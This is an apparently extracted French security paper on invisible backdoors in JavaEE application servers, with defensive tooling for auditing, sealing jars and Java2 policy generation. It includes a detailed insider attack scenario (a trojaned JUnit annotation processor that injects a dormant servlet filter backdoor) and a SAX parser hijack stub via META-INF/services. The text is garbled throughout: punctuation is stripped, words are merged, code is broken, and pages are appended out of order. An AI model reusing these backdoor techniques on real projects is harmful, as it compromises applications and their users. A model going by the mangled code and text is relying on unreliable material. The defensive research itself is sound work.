Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
390 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM
Cette approche est donc rejetee
23 Piege par laquo parametrage raquo
De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code
Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)
ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt
ndash Ressource ltparamwsddgt
La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet
Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer
Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API
Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite
Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes
1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-
Factory
2 httpjavasuncomj2se13docsguidejarjarhtml
P Prados 391
2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory
3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory
4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl
La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence
Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory
ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory
ndash META-INFservicesorgapacheaxisEngineConfigurationFactory
ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple
pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant
public static class MonSAXParserFactory
extends SAXParserFactory
private final SAXParserFactory next_
Calc next parser
private static SAXParserFactory getNextSAXParser ()
return
public SAXParserFactory ()
next_=protectctrSAXParser ()
Inject code here
public Schema getSchema ()
return next_getSchema ()
La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory
